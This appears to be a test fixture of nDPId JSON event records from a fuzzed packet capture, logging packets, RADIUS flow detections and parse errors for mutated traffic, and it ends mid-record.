+01282{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":312,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998315,"pkt_ts_usec":379425,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAABRPC4rqCABFAHfHIVdAAP8RAAAKDEAexuIZNXIQBxQCswAAAXcCq7birWrbSCR0XX2ECsyLDxcaCgAAVcgOBFVTGgwAAFfIDQZ3aWZp7g8AEFfICQlXSVNQUjEwGgkAADghDQMxNwZbIqmrATUwMzExNDgwMDczNlA4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtN6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":312,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691} +00742{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":313,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998315,"pkt_ts_usec":564266,"pkt_caplen":318,"pkt_type":17152,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRU+4rqcNuYVcUnQwBFAAEwDOpAAPwRRszG4hk1CgxAHgcUchABHIc+AicBFAVYRP7z9BnlCK2x3nMNu9caCwAAV8gbBVNQQ\/1uAAABNxA0lSfZbnfLLhoh4+5ALjW4bpaGB\/F5lLUmaXWeOTpERaZCygHBXW8G5d8wRSUAsOoyXuERNO7GEB2l9DfyYkq5gsPl9gYDdVKWsTzavhi3cpWL4d4hWImwBdGLigMB9OjFS4NJg5i2ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29iay5vcmcsIDViMjJhOTUyL2YwOjc5OjYwOmQxOjdkOjM3LzIzN1kMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBKDY\/Qv9KooB2GY4bCH4+IC"} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":313,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":17152} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":314,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1528998308061,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29232,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":314,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1528998314512,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":43028,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":314,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1528998314309,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.81.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":314,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1528998307737,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.7.9.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00633{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":315,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998323,"pkt_ts_usec":44401,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"pkt":"ABRP+0zqcNuYVcUnCABFAAAlAL1AEPwRRw3G4hk1CgxAHgcUchAAzTbHC6gAxWfYqv2MMmfQQQEjLJV5MYwBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjA3T0oBAgBIFwEAAAEFAAASnKqRiXtNkJ7pl81Lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":315,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205} +00739{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":317,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998323,"pkt_ts_usec":568325,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNsYVcUnCACOAAEwDMFAAPwRRrrG4hk1CgxAHgcUchABHN46AqkBFC7XsmGo9thH1H39z75ZofsaCwAAV8gbBVNQQxpuAAABNxA01fgke7cAxvNUQc8fbhbu8Vj1f4ydqDyFV6zE3SwbdURor5DaN1W5275SM8SlmfBSLKIRNMdp\/4Zs6S04Xowx3iRvmA3n8taa5E4m8wpB3etCd2VzmAkdeZLlem0oTIzBlWNTWH1RATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jSzgwLm1jYzMxMS4zZ3BwbmV0d2Vyay5vc04sIDViMjJhOTUyL2YwOjc5OjYwOmQxOjdkOjM3LzIzN1kMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBLs7b4ERJr4qPbI12xbGqC0"} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":317,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +01310{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":318,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998338,"pkt_ts_usec":204494,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAALbIVpEAP8RAAAKDEAexuIZNXIQBxQCxwAAAaoCv2Uj1+ujspK2VyIvdisE+iUaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":318,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":319,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1528998338382,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.73","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00675{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998338,"pkt_ts_usec":382096,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABQlAIrqcNuYVcUnCABFAADhDOxAAPwRRt7G4hk1CgxASQcUchAAzQ2+C6oAxV4x6AhgYl+1t\/7aBLDTkJgBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NTIvZjA6Nzk6NjA6ZDE6N2Y6MzcvMjM3T0oBAgBIFwEAAAEFAAD9ndZ8FHhsyj5jhEswY1t0AgUAABpKKGv5SQAALFBpvDseP8KLAQACCwUAAC1HLAQoI0jpYeW4fPFsl+tQEgCJjyegSbpAOXlBuPG4l8E="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":319,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1528998338382,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.73","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00741{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":321,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998338,"pkt_ts_usec":865071,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rq8NuYVcUnCABFAAEwDPCkAPwRRos14hk1CgxAHgcUchABHImMAqsBFPNe2aGl6LP5y1u\/scR1o3AaCwAAV8gbBVNQOBpuAAABNxA0yJ0HwRo2kUg5GkMLWv3LIW9bZ\/+pjZx0CoGr7LPlqjfgOPOLXgeADm9RiTIaXTD+uAsRNK2vP2ZsGXahxC9sjBUhoGJOMJlzjqJyAyTjvpVvse28Qg5S9JgwmD8p+ZaQYnYBaM5xATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0JQByay5vcmcsIDViMjJhOTUyL2YwOjc5OjYwOmQxOjdkOjM3LzIzN1kMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBIrffGqrk1JHmvfqoB\/bRcD"} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":321,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284} +01310{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":322,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998342,"pkt_ts_usec":492938,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAMrbIVxAAP8RAAAKDEAexuIZNXIQBxQCxwAAAawCvx+brty2uhj+WwEK9jJ7XPQaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICSUASVNQUjEwGgkAADghDQM0NwZbIqnGATUwMzExNDgwMDczNjM4WTcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vciUAAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlQml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2U1MmE5MjI1YiwgNWIycmE5NTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM3BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAgAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm8lABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgXGVZdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":322,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711} +01282{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":324,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998342,"pkt_ts_usec":974275,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFACUAIV1AAP8RAAAKDEAexuIZNXIQBxQCswAAAa0Cqyd5am7x7at665a6XdQ818IaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADhEDQM0NwZbIqnGATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZiAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkSzEwZmYxMGFjMDAwMDAwY2U1MmE5MjI1YiwgNWIyMmE5NTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM3BAasFGYQIA5WSldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAIAsFAACkCLiSdrciiCUA2Lhjf5WeAwIAIFh8yjsaFAAAV8gHDlZaV0My1GVzdExhYhoKAABXyAgERSUAEEYAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFSqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":324,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":327,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1528998346991,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29208,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00675{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998346,"pkt_ts_usec":991239,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuTVcUnCABFAADhDRdAAPwRRrPG4hk1CgxAHgcUchgAzQnPC64AxTy6++0fAX35UVXUpCEgeNcBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NTIvZjAlADk6QTA6ZCUAN2Q6MzcvMjM3T0oBAgBIFwEAAAEFAAB+LhDHIi3oCVbmy0rSchdaAgUAAJdIOUyErgAA73piWKcgvT+LAQACCwUAAEZfsVUxfYxGJMfW\/6iCQHdQEgwvQS2NfxbBCfFadP4Rx2E="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":327,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1528998346991,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29208,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":328,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1528998347284,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29289,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01322{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998347,"pkt_ts_usec":284506,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB6xAABRP+4rqCABFAALHIV9AAP8RAAAKDEAexuIZNXJpBxQCswAAAa8Cq915o4ky+NTjcjv0F1wXmegaCgAAV8gOBFVTGgwAADHIDQZ3aWZpGg8AAFfICRlXSVNQUjEwGgkAADghDQM0NwZbIqnLATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDEjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQw72UwLTAwOlYlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjaTAwMDAwY2U1MmE5MjI1YiwgNWIyMmE5NSUAZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM3UwasFAEQIA5WWldDMlRlc3SHYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAAA+8R0Z7LSWHOP9VffmhYCuAwIAIG5bieAaFAAAV8gHDlZaV0MyVGVzdExhahoKAABXyAgERVQaEAAA+8gKClN0YW5kYXJkGhAAAFfICwhUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkpiEQAAV8gRC055bmRodXJzdBoMACU4yKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":328,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1528998347284,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29289,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00739{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":329,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998347,"pkt_ts_usec":461328,"pkt_caplen":318,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":329,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":330,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1528998338382,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.73","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":330,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1528998346991,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29208,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":330,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1528998347284,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29289,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":330,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1528998372930,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.21","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01351{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998372,"pkt_ts_usec":930474,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIWBAAP8RAAAKDEAexuIZFXIQBxQCxwAAAbACvzQe93K2s3Upjyh7NVxn+MAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM3NwZbIqnkATUwMzExNDgwMjMyNTY4NjMxkHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGggAAAR8TOTAtYjAtZWQtNGUtNzctYTMeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXN